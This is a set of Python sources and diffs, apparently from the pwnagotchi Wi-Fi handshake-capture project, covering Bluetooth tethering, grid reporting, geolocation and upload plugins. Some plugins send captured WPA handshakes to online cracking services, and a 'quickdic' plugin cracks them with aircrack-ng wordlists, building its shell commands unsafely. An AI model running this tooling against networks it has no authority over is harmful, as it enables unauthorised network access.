Finds the device in objects
"""
bus = BTNap.get_bus()
path_prefix = ''
if adapter_pattern:
if not isinstance(adapter_pattern, str):
adapter = adapter_pattern
else:
adapter = BTNap.find_adapter_in_objects(objects, adapter_pattern)
path_prefix = adapter.object_path
for path, ifaces in objects.items():
device = ifaces.get(BTNap.IFACE_DEV)
if device is None:
continue
if device['Address'] == device_address and path.startswith(path_prefix):
obj = bus.get_object(BTNap.IFACE_BASE, path)
return dbus.Interface(obj, BTNap.IFACE_DEV)
raise BTError('Bluetooth device not found')
def power(self, on=True):
"""
Set power of devices to on/off
"""
devs = list(BTNap.find_adapter())
devs = dict((BTNap.prop_get(dev, 'Address'), dev) for dev in devs)
for dev_addr, dev in devs.items():
BTNap.prop_set(dev, 'Powered', on)
logging.debug('Set power of %s (addr %s) to %s', dev.object_path, dev_addr, str(on))
if devs:
return list(devs.values())[0]
return None
def is_connected(self):
"""
Check if already connected
"""
bt_dev = self.power(True)
if not bt_dev:
return False
try:
dev_remote = BTNap.find_device(self._mac, bt_dev)
return bool(BTNap.prop_get(dev_remote, 'Connected'))
except BTError:
pass
return False
def is_paired(self):
"""
Check if already connected
"""
bt_dev = self.power(True)
if not bt_dev:
return False
try:
dev_remote = BTNap.find_device(self._mac, bt_dev)
return bool(BTNap.prop_get(dev_remote, 'Paired'))
except BTError:
pass
return False
def wait_for_device(self, timeout=15):
"""
Wait for device
returns device if found None if not
"""
bt_dev = self.power(True)
if not bt_dev:
return None
try:
bt_dev.StartDiscovery()
except Exception:
# can fail with org.bluez.Error.NotReady / org.bluez.Error.Failed
# TODO: add loop?
pass
dev_remote = None
# could be set to 0, so check if > -1
while timeout > -1:
try:
dev_remote = BTNap.find_device(self._mac, bt_dev)
logging.debug('Using remote device (addr: %s): %s',
BTNap.prop_get(dev_remote, 'Address'), dev_remote.object_path )
break
except BTError:
pass
time.sleep(1)
timeout -= 1
try:
bt_dev.StopDiscovery()
except Exception:
# can fail with org.bluez.Error.NotReady / org.bluez.Error.Failed / org.bluez.Error.NotAuthorized
pass
return dev_remote
def connect(self, reconnect=False):
"""
Connect to device
return True if connected; False if failed
"""
# check if device is close
dev_remote = self.wait_for_device()
if not dev_remote:
return False
try:
dev_remote.Pair()
logging.info('BT-TETHER: Successful paired with device ;)')
except Exception:
# can fail because of AlreadyExists etc.
pass
try:
dev_remote.ConnectProfile('nap')
except Exception:
pass
net = dbus.Interface(dev_remote, 'org.bluez.Network1')
try:
net.Connect('nap')
except dbus.exceptions.DBusException as err:
if err.get_dbus_name() != 'org.bluez.Error.Failed':
raise
connected = BTNap.prop_get(net, 'Connected')
if not connected:
return False
if reconnect:
net.Disconnect()
return self.connect(reconnect=False)
return True
#################################################
#################################################
#################################################
class SystemdUnitWrapper:
"""
systemd wrapper
"""
def __init__(self, unit):
self.unit = unit
@staticmethod
def _action_on_unit(action, unit):
process = subprocess.Popen(f"systemctl {action} {unit}", shell=True, stdin=None,
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
process.wait()
if process.returncode > 0:
return False
return True
@staticmethod
def daemon_reload():
"""
Calls systemctl daemon-reload
"""
process = subprocess.Popen("systemctl daemon-reload", shell=True, stdin=None,
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
process.wait()
if process.returncode > 0:
return False
return True
def is_active(self):
"""
Checks if unit is active
"""
return SystemdUnitWrapper._action_on_unit('is-active', self.unit)
def is_enabled(self):
"""
Checks if unit is enabled
"""
return SystemdUnitWrapper._action_on_unit('is-enabled', self.unit)
def is_failed(self):
"""
Checks if unit is failed
"""
return SystemdUnitWrapper._action_on_unit('is-failed', self.unit)
def enable(self):
"""
Enables the unit
"""
return SystemdUnitWrapper._action_on_unit('enable', self.unit)
def disable(self):
"""
Disables the unit
"""
return SystemdUnitWrapper._action_on_unit('disable', self.unit)
def start(self):
"""
Starts the unit
"""
return SystemdUnitWrapper._action_on_unit('start', self.unit)
def stop(self):
"""
Stops the unit
"""
return SystemdUnitWrapper._action_on_unit('stop', self.unit)
def restart(self):
"""
Restarts the unit
"""
return SystemdUnitWrapper._action_on_unit('restart', self.unit)
class IfaceWrapper:
"""
Small wrapper to check and manage ifaces
see: https://github.com/rlisagor/pynetlinux/blob/master/pynetlinux/ifconfig.py
"""
def __init__(self, iface):
self.iface = iface
self.path = f"/sys/class/net/{iface}"
def exists(self):
"""
Checks if iface exists
"""
return os.path.exists(self.path)
def is_up(self):
"""
Checks if iface is ip
"""
return open(f"{self.path}/operstate", 'r').read().rsplit('\n') == 'up'
def set_addr(self, addr):
"""
Set the netmask
"""
process = subprocess.Popen(f"ip addr add {addr} dev {self.iface}", shell=True, stdin=None,
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
process.wait()
if process.returncode == 2 or process.returncode == 0: # 2 = already set
return True
return False
@staticmethod
def set_route(addr):
process = subprocess.Popen(f"ip route replace default via {addr}", shell=True, stdin=None,
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
process.wait()
if process.returncode > 0:
return False
return True
def on_loaded():
"""
Gets called when the plugin gets loaded
"""
global READY
global INTERVAL
for opt in ['share_internet', 'mac', 'ip', 'netmask', 'interval']:
if opt not in OPTIONS or (opt in OPTIONS and OPTIONS[opt] is None):
logging.error("BT-TET: Pleace specify the %s in your config.yml.", opt)
return
# ensure bluetooth is running
bt_unit = SystemdUnitWrapper('bluetooth.service')
if not bt_unit.is_active():
if not bt_unit.start():
logging.error("BT-TET: Can't start bluetooth.service")
return
INTERVAL.update()
READY = True
def on_ui_update(ui):
"""
Try to connect to device
"""
if READY:
global INTERVAL
if INTERVAL.newer_then_minutes(OPTIONS['interval']):
return
INTERVAL.update()
bt = BTNap(OPTIONS['mac'])
logging.debug('BT-TETHER: Check if already connected and paired')
if bt.is_connected() and bt.is_paired():
logging.debug('BT-TETHER: Already connected and paired')
ui.set('bluetooth', 'CON')
else:
logging.debug('BT-TETHER: Try to connect to mac')
if bt.connect():
logging.info('BT-TETHER: Successfuly connected')
else:
logging.error('BT-TETHER: Could not connect')
ui.set('bluetooth', 'NF')
return
btnap_iface = IfaceWrapper('bnep0')
logging.debug('BT-TETHER: Check interface')
if btnap_iface.exists():
logging.debug('BT-TETHER: Interface found')
# check ip
addr = f"{OPTIONS['ip']}/{OPTIONS['netmask']}"
logging.debug('BT-TETHER: Try to set ADDR to interface')
if not btnap_iface.set_addr(addr):
ui.set('bluetooth', 'ERR1')
logging.error("BT-TETHER: Could not set ip of bnep0 to %s", addr)
return
else:
logging.debug('BT-TETHER: Set ADDR to interface')
# change route if sharking
if OPTIONS['share_internet']:
logging.debug('BT-TETHER: Set routing and change resolv.conf')
IfaceWrapper.set_route(".".join(OPTIONS['ip'].split('.')[:-1] + ['1'])) # im not proud about that
# fix resolv.conf; dns over https ftw!
with open('/etc/resolv.conf', 'r+') as resolv:
nameserver = resolv.read()
if 'nameserver 9.9.9.9' not in nameserver:
logging.info('BT-TETHER: Added nameserver')
resolv.seek(0)
resolv.write(nameserver + 'nameserver 9.9.9.9\n')
ui.set('bluetooth', 'CON')
else:
logging.error('BT-TETHER: bnep0 not found')
ui.set('bluetooth', 'ERR2')
def on_ui_setup(ui):
ui.add_element('bluetooth', LabeledValue(color=BLACK, label='BT', value='-', position=(ui.width() / 2 - 30, 0),
label_font=fonts.Bold, text_font=fonts.Medium))

View File

@@ -6,68 +6,26 @@ __description__ = 'This plugin signals the unit cryptographic identity and list
import os
import logging
import requests
import glob
import subprocess
import pwnagotchi
import pwnagotchi.grid as grid
import pwnagotchi.utils as utils
from pwnagotchi.ui.components import LabeledValue
from pwnagotchi.ui.view import BLACK
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.utils import WifiInfo, extract_from_pcap
OPTIONS = dict()
AUTH = utils.StatusFile('/root/.api-enrollment.json', data_format='json')
REPORT = utils.StatusFile('/root/.api-report.json', data_format='json')
UNREAD_MESSAGES = 0
TOTAL_MESSAGES = 0
def on_loaded():
logging.info("grid plugin loaded.")
def get_api_token(last_session, keys):
global AUTH
if AUTH.newer_then_minutes(25) and AUTH.data is not None and 'token' in AUTH.data:
return AUTH.data['token']
if AUTH.data is None:
logging.info("grid: enrolling unit ...")
else:
logging.info("grid: refreshing token ...")
identity = "%s@%s" % (pwnagotchi.name(), keys.fingerprint)
# sign the identity string to prove we own both keys
_, signature_b64 = keys.sign(identity)
api_address = 'https://api.pwnagotchi.ai/api/v1/unit/enroll'
enrollment = {
'identity': identity,
'public_key': keys.pub_key_pem_b64,
'signature': signature_b64,
'data': {
'duration': last_session.duration,
'epochs': last_session.epochs,
'train_epochs': last_session.train_epochs,
'avg_reward': last_session.avg_reward,
'min_reward': last_session.min_reward,
'max_reward': last_session.max_reward,
'deauthed': last_session.deauthed,
'associated': last_session.associated,
'handshakes': last_session.handshakes,
'peers': last_session.peers,
'uname': subprocess.getoutput("uname -a")
}
}
r = requests.post(api_address, json=enrollment)
if r.status_code != 200:
raise Exception("(status %d) %s" % (r.status_code, r.json()))
AUTH.update(data=r.json())
logging.info("grid: done")
return AUTH.data["token"]
def parse_pcap(filename):
logging.info("grid: parsing %s ..." % filename)
@@ -96,68 +54,93 @@ def parse_pcap(filename):
return info[WifiInfo.ESSID], info[WifiInfo.BSSID]
def api_report_ap(last_session, keys, token, essid, bssid):
while True:
token = AUTH.data['token']
logging.info("grid: reporting %s (%s)" % (essid, bssid))
try:
api_address = 'https://api.pwnagotchi.ai/api/v1/unit/report/ap'
headers = {'Authorization': 'access_token %s' % token}
report = {
'essid': essid,
'bssid': bssid,
}
r = requests.post(api_address, headers=headers, json=report)
if r.status_code != 200:
if r.status_code == 401:
logging.warning("token expired")
token = get_api_token(last_session, keys)
continue
else:
raise Exception("(status %d) %s" % (r.status_code, r.text))
else:
return True
except Exception as e:
logging.error("grid: %s" % e)
return False
def is_excluded(what):
for skip in OPTIONS['exclude']:
skip = skip.lower()
what = what.lower()
if skip in what or skip.replace(':', '') in what:
return True
return False
def on_ui_update(ui):
new_value = ' %d (%d)' % (UNREAD_MESSAGES, TOTAL_MESSAGES)
if not ui.has_element('mailbox') and TOTAL_MESSAGES > 0:
if ui.is_inky():
pos = (80, 0)
else:
pos = (100, 0)
ui.add_element('mailbox',
LabeledValue(color=BLACK, label='MSG', value=new_value,
position=pos,
label_font=fonts.Bold,
text_font=fonts.Medium))
ui.set('mailbox', new_value)
def set_reported(reported, net_id):
global REPORT
reported.append(net_id)
REPORT.update(data={'reported': reported})
def on_internet_available(agent):
global REPORT
global REPORT, UNREAD_MESSAGES, TOTAL_MESSAGES
logging.debug("internet available")
try:
config = agent.config()
keys = agent.keypair()
grid.update_data(agent.last_session)
except Exception as e:
logging.error("error connecting to the pwngrid-peer service: %s" % e)
return
pcap_files = glob.glob(os.path.join(config['bettercap']['handshakes'], "*.pcap"))
try:
logging.debug("checking mailbox ...")
messages = grid.inbox()
TOTAL_MESSAGES = len(messages)
UNREAD_MESSAGES = len([m for m in messages if m['seen_at'] is None])
if TOTAL_MESSAGES:
on_ui_update(agent.view())
logging.debug(" %d unread messages of %d total" % (UNREAD_MESSAGES, TOTAL_MESSAGES))
logging.debug("checking pcaps")
pcap_files = glob.glob(os.path.join(agent.config()['bettercap']['handshakes'], "*.pcap"))
num_networks = len(pcap_files)
reported = REPORT.data_field_or('reported', default=[])
num_reported = len(reported)
num_new = num_networks - num_reported
token = get_api_token(agent.last_session, agent.keypair())
if num_new > 0:
if OPTIONS['report']:
logging.info("grid: %d new networks to report" % num_new)
logging.debug("OPTIONS: %s" % OPTIONS)
logging.debug(" exclude: %s" % OPTIONS['exclude'])
for pcap_file in pcap_files:
net_id = os.path.basename(pcap_file).replace('.pcap', '')
do_skip = False
for skip in OPTIONS['exclude']:
skip = skip.lower()
net = net_id.lower()
if skip in net or skip.replace(':', '') in net:
do_skip = True
break
if net_id not in reported:
if is_excluded(net_id):
logging.debug("skipping %s due to exclusion filter" % pcap_file)
set_reported(reported, net_id)
continue
if net_id not in reported and not do_skip:
essid, bssid = parse_pcap(pcap_file)
if bssid:
if api_report_ap(agent.last_session, keys, token, essid, bssid):
reported.append(net_id)
REPORT.update(data={'reported': reported})
add_as_reported = False
if is_excluded(essid) or is_excluded(bssid):
logging.debug("not reporting %s due to exclusion filter" % pcap_file)
set_reported(reported, net_id)
else:
if grid.report_ap(essid, bssid):
set_reported(reported, net_id)
else:
logging.warning("no bssid found?!")
else:
logging.debug("grid: reporting disabled")
except Exception as e:
logging.exception("error while enrolling the unit")
logging.exception("grid api error")

View File

@@ -1,5 +1,5 @@
__author__ = 'zenzen san'
__version__ = '1.0.0'
__version__ = '2.0.0'
__name__ = 'net-pos'
__license__ = 'GPL3'
__description__ = """Saves a json file with the access points with more signal
@@ -11,33 +11,24 @@ import logging
import json
import os
import requests
from pwnagotchi.utils import StatusFile
MOZILLA_API_URL = 'https://location.services.mozilla.com/v1/geolocate?key={api}'
ALREADY_SAVED = None
SKIP = None
REPORT = StatusFile('/root/.net_pos_saved', data_format='json')
SKIP = list()
READY = False
OPTIONS = {}
OPTIONS = dict()
def on_loaded():
global ALREADY_SAVED
global SKIP
global READY
SKIP = list()
if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
logging.error("NET-POS: api_key isn't set. Can't use mozilla's api.")
return
try:
with open('/root/.net_pos_saved', 'r') as f:
ALREADY_SAVED = f.read().splitlines()
except OSError:
logging.warning('NET-POS: No net-pos-file found.')
ALREADY_SAVED = []
READY = True
logging.info("net-pos plugin loaded.")
def _append_saved(path):
@@ -55,20 +46,22 @@ def _append_saved(path):
def on_internet_available(agent):
global SKIP
global REPORT
if READY:
config = agent.config()
display = agent.view()
reported = REPORT.data_field_or('reported', default=list())
handshake_dir = config['bettercap']['handshakes']
all_files = os.listdir(handshake_dir)
all_np_files = [os.path.join(handshake_dir, filename)
for filename in all_files
if filename.endswith('.net-pos.json')]
new_np_files = set(all_np_files) - set(ALREADY_SAVED) - set(SKIP)
new_np_files = set(all_np_files) - set(reported) - set(SKIP)
if new_np_files:
logging.info("NET-POS: Found {num} new net-pos files. Fetching positions ...", len(new_np_files))
logging.info("NET-POS: Found %d new net-pos files. Fetching positions ...", len(new_np_files))
display.set('status', f"Found {len(new_np_files)} new net-pos files. Fetching positions ...")
display.update(force=True)
for idx, np_file in enumerate(new_np_files):
@@ -76,8 +69,8 @@ def on_internet_available(agent):
geo_file = np_file.replace('.net-pos.json', '.geo.json')
if os.path.exists(geo_file):
# got already the position
ALREADY_SAVED.append(np_file)
_append_saved(np_file)
reported.append(np_file)
REPORT.update(data={'reported': reported})
continue
try:
@@ -85,18 +78,21 @@ def on_internet_available(agent):
except requests.exceptions.RequestException as req_e:
logging.error("NET-POS: %s", req_e)
SKIP += np_file
continue
except json.JSONDecodeError as js_e:
logging.error("NET-POS: %s", js_e)
SKIP += np_file
continue
except OSError as os_e:
logging.error("NET-POS: %s", os_e)
SKIP += np_file
continue
with open(geo_file, 'w+t') as sf:
json.dump(geo_data, sf)
ALREADY_SAVED.append(np_file)
_append_saved(np_file)
reported.append(np_file)
REPORT.update(data={'reported': reported})
display.set('status', f"Fetching positions ({idx+1}/{len(new_np_files)})")
display.update(force=True)
@@ -108,15 +104,15 @@ def on_handshake(agent, filename, access_point, client_station):
logging.info("NET-POS: Saving net-location to %s", netpos_filename)
try:
with open(netpos_filename, 'w+t') as fp:
json.dump(netpos, fp)
with open(netpos_filename, 'w+t') as net_pos_file:
json.dump(netpos, net_pos_file)
except OSError as os_e:
logging.error("NET-POS: %s", os_e)
def _get_netpos(agent):
aps = agent.get_access_points()
netpos = {}
netpos = dict()
netpos['wifiAccessPoints'] = list()
# 6 seems a good number to save a wifi networks location
for access_point in sorted(aps, key=lambda i: i['rssi'], reverse=True)[:6]:

View File

@@ -1,5 +1,5 @@
__author__ = '33197631+dadav@users.noreply.github.com'
__version__ = '1.0.0'
__version__ = '2.0.0'
__name__ = 'onlinehashcrack'
__license__ = 'GPL3'
__description__ = 'This plugin automatically uploades handshakes to https://onlinehashcrack.com'
@@ -7,9 +7,11 @@ __description__ = 'This plugin automatically uploades handshakes to https://onli
import os
import logging
import requests
from pwnagotchi.utils import StatusFile
READY = False
ALREADY_UPLOADED = None
REPORT = StatusFile('/root/.ohc_uploads', data_format='json')
SKIP = list()
OPTIONS = dict()
@@ -18,20 +20,11 @@ def on_loaded():
Gets called when the plugin gets loaded
"""
global READY
global EMAIL
global ALREADY_UPLOADED
if not 'email' in OPTIONS or ('email' in OPTIONS and OPTIONS['email'] is None):
if 'email' not in OPTIONS or ('email' in OPTIONS and OPTIONS['email'] is None):
logging.error("OHC: Email isn't set. Can't upload to onlinehashcrack.com")
return
try:
with open('/root/.ohc_uploads', 'r') as f:
ALREADY_UPLOADED = f.read().splitlines()
except OSError:
logging.warning('OHC: No upload-file found.')
ALREADY_UPLOADED = []
READY = True
@@ -59,14 +52,17 @@ def on_internet_available(agent):
"""
Called in manual mode when there's internet connectivity
"""
global REPORT
global SKIP
if READY:
display = agent.view()
config = agent.config()
reported = REPORT.data_field_or('reported', default=list())
handshake_dir = config['bettercap']['handshakes']
handshake_filenames = os.listdir(handshake_dir)
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if filename.endswith('.pcap')]
handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED)
handshake_new = set(handshake_paths) - set(reported) - set(SKIP)
if handshake_new:
logging.info("OHC: Internet connectivity detected. Uploading new handshakes to onelinehashcrack.com")
@@ -76,12 +72,15 @@ def on_internet_available(agent):
display.update(force=True)
try:
_upload_to_ohc(handshake)
ALREADY_UPLOADED.append(handshake)
with open('/root/.ohc_uploads', 'a') as f:
f.write(handshake + "\n")
reported.append(handshake)
REPORT.update(data={'reported': reported})
logging.info(f"OHC: Successfuly uploaded {handshake}")
except requests.exceptions.RequestException:
pass
except requests.exceptions.RequestException as req_e:
SKIP.append(handshake)
logging.error("OHC: %s", req_e)
continue
except OSError as os_e:
logging.error(f"OHC: Got the following error: {os_e}")
SKIP.append(handshake)
logging.error("OHC: %s", os_e)
continue

View File

@@ -0,0 +1,52 @@
__author__ = 'pwnagotchi [at] rossmarks [dot] uk'
__version__ = '1.0.0'
__name__ = 'quickdic'
__license__ = 'GPL3'
__description__ = 'Run a quick dictionary scan against captured handshakes'
'''
Aircrack-ng needed, to install:
> apt-get install aircrack-ng
Upload wordlist files in .txt format to folder in config file (Default: /opt/wordlists/)
Cracked handshakes stored in handshake folder as [essid].pcap.cracked
'''
import logging
import subprocess
import string
import re
OPTIONS = dict()
def on_loaded():
logging.info("Quick dictionary check plugin loaded")
def on_handshake(agent, filename, access_point, client_station):
display = agent._view
result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "1 handshake" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
if not result:
logging.info("[quickdic] No handshake")
else:
logging.info("[quickdic] Handshake confirmed")
result2 = subprocess.run(('aircrack-ng -w `echo '+OPTIONS['wordlist_folder']+'*.txt | sed \'s/\ /,/g\'` -l '+filename+'.cracked -q -b '+result+' '+filename+' | grep KEY'),shell=True,stdout=subprocess.PIPE)
result2 = result2.stdout.decode('utf-8').strip()
logging.info("[quickdic] "+result2)
if result2 != "KEY NOT FOUND":
key = re.search('\[(.*)\]', result2)
pwd = str(key.group(1))
set_text("Cracked password: "+pwd)
display.update(force=True)
text_to_set = "";
def set_text(text):
global text_to_set
text_to_set = text
def on_ui_update(ui):
global text_to_set
if text_to_set:
ui.set('face', "(·ω·)")
ui.set('status', text_to_set)
text_to_set = ""

View File

@@ -18,7 +18,7 @@ def on_ui_update(ui):
global update_count
update_count += 1
if update_count == OPTIONS['refresh_interval']:
ui._init_display()
ui.init_display()
ui.set('status', "Screen cleaned")
logging.info("Screen refreshing")
update_count = 0

View File

@@ -0,0 +1,22 @@
__author__ = 'diemelcw@gmail.com'
__version__ = '1.0.0'
__name__ = 'unfiltered_example'
__license__ = 'GPL3'
__description__ = 'An example plugin for pwnagotchi that implements on_unfiltered_ap_list(agent,aps)'
import logging
# Will be set with the options in config.yml config['main']['plugins'][__name__]
OPTIONS = dict()
# called when the plugin is loaded
def on_loaded():
logging.warning("%s plugin loaded" % __name__)
# called when AP list is ready, before whitelist filtering has occured
def on_unfiltered_ap_list(agent,aps):
logging.info("Unfiltered AP list to follow")
for ap in aps:
logging.info(ap['hostname'])
## Additional logic here ##

View File

@@ -1,5 +1,5 @@
__author__ = '33197631+dadav@users.noreply.github.com'
__version__ = '1.0.0'
__version__ = '2.0.0'
__name__ = 'wigle'
__license__ = 'GPL3'
__description__ = 'This plugin automatically uploades collected wifis to wigle.net'
@@ -11,111 +11,24 @@ from io import StringIO
import csv
from datetime import datetime
import requests
from pwnagotchi.mesh.wifi import freq_to_channel
from pwnagotchi.utils import WifiInfo, FieldNotFoundError, extract_from_pcap
from pwnagotchi.utils import WifiInfo, FieldNotFoundError, extract_from_pcap, StatusFile
READY = False
ALREADY_UPLOADED = None
SKIP = None
REPORT = StatusFile('/root/.wigle_uploads', data_format='json')
SKIP = list()
OPTIONS = dict()
AKMSUITE_TYPES = {
0x00: "Reserved",
0x01: "802.1X",
0x02: "PSK",
}
def _handle_packet(packet, result):
from scapy.all import RadioTap, Dot11Elt, Dot11Beacon, rdpcap, Scapy_Exception, Dot11, Dot11ProbeResp, Dot11AssoReq, \
Dot11ReassoReq, Dot11EltRSN, Dot11EltVendorSpecific, Dot11EltMicrosoftWPA
"""
Analyze each packet and extract the data from Dot11 layers
"""
if hasattr(packet, 'cap') and 'privacy' in packet.cap:
# packet is encrypted
if 'encryption' not in result:
result['encryption'] = set()
if packet.haslayer(Dot11Beacon):
if packet.haslayer(Dot11Beacon)\
or packet.haslayer(Dot11ProbeResp)\
or packet.haslayer(Dot11AssoReq)\
or packet.haslayer(Dot11ReassoReq):
if 'bssid' not in result and hasattr(packet[Dot11], 'addr3'):
result['bssid'] = packet[Dot11].addr3
if 'essid' not in result and hasattr(packet[Dot11Elt], 'info'):
result['essid'] = packet[Dot11Elt].info
if 'channel' not in result and hasattr(packet[Dot11Elt:3], 'info'):
result['channel'] = int(ord(packet[Dot11Elt:3].info))
if packet.haslayer(RadioTap):
if 'rssi' not in result and hasattr(packet[RadioTap], 'dBm_AntSignal'):
result['rssi'] = packet[RadioTap].dBm_AntSignal
if 'channel' not in result and hasattr(packet[RadioTap], 'ChannelFrequency'):
result['channel'] = freq_to_channel(packet[RadioTap].ChannelFrequency)
# see: https://fossies.org/linux/scapy/scapy/layers/dot11.py
if packet.haslayer(Dot11EltRSN):
if hasattr(packet[Dot11EltRSN], 'akm_suites'):
auth = AKMSUITE_TYPES.get(packet[Dot11EltRSN].akm_suites[0].suite)
result['encryption'].add(f"WPA2/{auth}")
else:
result['encryption'].add("WPA2")
if packet.haslayer(Dot11EltVendorSpecific)\
and (packet.haslayer(Dot11EltMicrosoftWPA)
or packet.info.startswith(b'\x00P\xf2\x01\x01\x00')):
if hasattr(packet, 'akm_suites'):
auth = AKMSUITE_TYPES.get(packet.akm_suites[0].suite)
result['encryption'].add(f"WPA2/{auth}")
else:
result['encryption'].add("WPA2")
# end see
return result
def _analyze_pcap(pcap):
from scapy.all import RadioTap, Dot11Elt, Dot11Beacon, rdpcap, Scapy_Exception, Dot11, Dot11ProbeResp, Dot11AssoReq, \
Dot11ReassoReq, Dot11EltRSN, Dot11EltVendorSpecific, Dot11EltMicrosoftWPA
"""
Iterate over the packets and extract data
"""
result = dict()
try:
packets = rdpcap(pcap)
for packet in packets:
result = _handle_packet(packet, result)
except Scapy_Exception as sc_e:
raise sc_e
return result
def on_loaded():
"""
Gets called when the plugin gets loaded
"""
global READY
global ALREADY_UPLOADED
global SKIP
SKIP = list()
if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
logging.error("WIGLE: api_key isn't set. Can't upload to wigle.net")
return
try:
with open('/root/.wigle_uploads', 'r') as f:
ALREADY_UPLOADED = f.read().splitlines()
except OSError:
logging.warning('WIGLE: No upload-file found.')
ALREADY_UPLOADED = []
READY = True
@@ -197,24 +110,24 @@ def _send_to_wigle(lines, api_key, timeout=30):
def on_internet_available(agent):
from scapy.all import RadioTap, Dot11Elt, Dot11Beacon, rdpcap, Scapy_Exception, Dot11, Dot11ProbeResp, Dot11AssoReq, \
Dot11ReassoReq, Dot11EltRSN, Dot11EltVendorSpecific, Dot11EltMicrosoftWPA
from scapy.all import Scapy_Exception
"""
Called in manual mode when there's internet connectivity
"""
global ALREADY_UPLOADED
global REPORT
global SKIP
if READY:
config = agent.config()
display = agent.view()
reported = REPORT.data_field_or('reported', default=list())
handshake_dir = config['bettercap']['handshakes']
all_files = os.listdir(handshake_dir)
all_gps_files = [os.path.join(handshake_dir, filename)
for filename in all_files
if filename.endswith('.gps.json')]
new_gps_files = set(all_gps_files) - set(ALREADY_UPLOADED) - set(SKIP)
new_gps_files = set(all_gps_files) - set(reported) - set(SKIP)
if new_gps_files:
logging.info("WIGLE: Internet connectivity detected. Uploading new handshakes to wigle.net")
@@ -271,10 +184,8 @@ def on_internet_available(agent):
display.update(force=True)
try:
_send_to_wigle(csv_entries, OPTIONS['api_key'])
ALREADY_UPLOADED += no_err_entries
with open('/root/.wigle_uploads', 'a') as up_file:
for gps in no_err_entries:
up_file.write(gps + "\n")
reported += no_err_entries
REPORT.update(data={'reported': reported})
logging.info("WIGLE: Successfuly uploaded %d files", len(no_err_entries))
except requests.exceptions.RequestException as re_e:
SKIP += no_err_entries

View File

@@ -1,5 +1,5 @@
__author__ = '33197631+dadav@users.noreply.github.com'
__version__ = '1.0.0'
__version__ = '2.0.1'
__name__ = 'wpa-sec'
__license__ = 'GPL3'
__description__ = 'This plugin automatically uploades handshakes to https://wpa-sec.stanev.org'
@@ -7,9 +7,12 @@ __description__ = 'This plugin automatically uploades handshakes to https://wpa-
import os
import logging
import requests
from pwnagotchi.utils import StatusFile
READY = False
ALREADY_UPLOADED = None
REPORT = StatusFile('/root/.wpa_sec_uploads', data_format='json')
OPTIONS = dict()
SKIP = list()
def on_loaded():
@@ -17,20 +20,11 @@ def on_loaded():
Gets called when the plugin gets loaded
"""
global READY
global API_KEY
global ALREADY_UPLOADED
if not 'api_key' in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):
logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org")
return
try:
with open('/root/.wpa_sec_uploads', 'r') as f:
ALREADY_UPLOADED = f.read().splitlines()
except OSError:
logging.warning('WPA_SEC: No upload-file found.')
ALREADY_UPLOADED = []
READY = True
@@ -39,48 +33,51 @@ def _upload_to_wpasec(path, timeout=30):
Uploads the file to wpa-sec.stanev.org
"""
with open(path, 'rb') as file_to_upload:
headers = {'key': OPTIONS['api_key']}
cookie = {'key': OPTIONS['api_key']}
payload = {'file': file_to_upload}
try:
result = requests.post('https://wpa-sec.stanev.org/?submit',
headers=headers,
result = requests.post('https://wpa-sec.stanev.org',
cookies=cookie,
files=payload,
timeout=timeout)
if ' already submitted' in result.text:
logging.warning(f"{path} was already submitted.")
except requests.exceptions.RequestException as e:
logging.error(f"WPA_SEC: Got an exception while uploading {path} -> {e}")
raise e
logging.warning("%s was already submitted.", path)
except requests.exceptions.RequestException as req_e:
raise req_e
def on_internet_available(agent):
"""
Called in manual mode when there's internet connectivity
"""
global REPORT
global SKIP
if READY:
config = agent.config()
display = agent.view()
reported = REPORT.data_field_or('reported', default=list())
handshake_dir = config['bettercap']['handshakes']
handshake_filenames = os.listdir(handshake_dir)
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if filename.endswith('.pcap')]
handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED)
handshake_new = set(handshake_paths) - set(reported) - set(SKIP)
if handshake_new:
logging.info("WPA_SEC: Internet connectivity detected.\
Uploading new handshakes to wpa-sec.stanev.org")
logging.info("WPA_SEC: Internet connectivity detected. Uploading new handshakes to wpa-sec.stanev.org")
for idx, handshake in enumerate(handshake_new):
display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})")
display.update(force=True)
try:
_upload_to_wpasec(handshake)
ALREADY_UPLOADED.append(handshake)
with open('/root/.wpa_sec_uploads', 'a') as f:
f.write(handshake + "\n")
logging.info(f"WPA_SEC: Successfuly uploaded {handshake}")
except requests.exceptions.RequestException:
pass
reported.append(handshake)
REPORT.update(data={'reported': reported})
logging.info("WPA_SEC: Successfuly uploaded %s", handshake)
except requests.exceptions.RequestException as req_e:
SKIP.append(handshake)
logging.error("WPA_SEC: %s", req_e)
continue
except OSError as os_e:
logging.error(f"WPA_SEC: Got the following error: {os_e}")
logging.error("WPA_SEC: %s", os_e)
continue

View File

@@ -3,10 +3,10 @@ from threading import Lock
import shutil
import logging
import os
import pwnagotchi, pwnagotchi.plugins as plugins
from pwnagotchi.ui.view import WHITE, View
import pwnagotchi.ui.hw as hw
from pwnagotchi.ui.view import View
from http.server import BaseHTTPRequestHandler, HTTPServer
@@ -87,24 +87,15 @@ class VideoHandler(BaseHTTPRequestHandler):
class Display(View):
def __init__(self, config, state={}):
super(Display, self).__init__(config, state)
super(Display, self).__init__(config, hw.display_for(config), state)
self._enabled = config['ui']['display']['enabled']
self._rotation = config['ui']['display']['rotation']
self._video_enabled = config['ui']['display']['video']['enabled']
self._video_port = config['ui']['display']['video']['port']
self._video_address = config['ui']['display']['video']['address']
self._display_type = config['ui']['display']['type']
self._display_color = config['ui']['display']['color']
self._render_cb = None
self._display = None
self._httpd = None
